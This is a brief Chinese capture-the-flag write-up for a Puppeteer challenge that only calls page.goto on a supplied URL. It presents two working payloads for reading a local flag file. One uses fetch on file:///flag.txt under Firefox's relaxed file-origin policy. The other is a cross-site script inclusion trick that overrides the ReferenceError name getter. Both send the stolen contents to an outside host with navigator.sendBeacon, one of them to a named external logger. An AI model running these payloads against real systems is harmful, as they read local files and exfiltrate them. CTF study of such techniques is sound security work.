题目的代码非常简单,核心只有这一句
page.goto(url, { timeout: 2000 });
方案1
Puppeteer 是一个常用的自动化浏览器工具,默认支持 Chrome,但也可以配置支持 Firefox。然而,当 Puppeteer 运行在 Firefox 上时,会自动关闭一些安全特性,尤其是将 security.fileuri.strict_origin_policy 设置为 false。这意味着不同的 file:// 协议下的文件(比如 file://A 和 file://B)会被当作同源(same-origin)处理。
fetch('file:///flag.txt').then(e => e.text()).then(e => navigator.sendBeacon(url, e));
方案2 XSSI 攻击
xssi.pdf
<script>ReferenceError.prototype.__defineGetter__('name', function(){const variable = this.message.split(' is ')[0];let decoded = '';for(const u16 of [...variable]){const i = u16.charCodeAt(0);decoded += String.fromCharCode(i % 256);decoded += String.fromCharCode(i >> 8);}navigator.sendBeacon('https://terjanq-logger.glitch.me/log2?id=sourceless', decoded)});</script><script charset=utf-16le src="file:///flag.txt"></script>
-
在Chrome和Firefox中,可以通过重写Error.prototype,拦截并读取error.message属性。
-
正常情况下,跨域脚本报错时,window.onerror只会返回“Script error”,但控制台的错误信息却包含了详细内容。
-
由于console构造错误信息时会用到共享的Error原型,网站可以“污染”原型并执行自定义JS。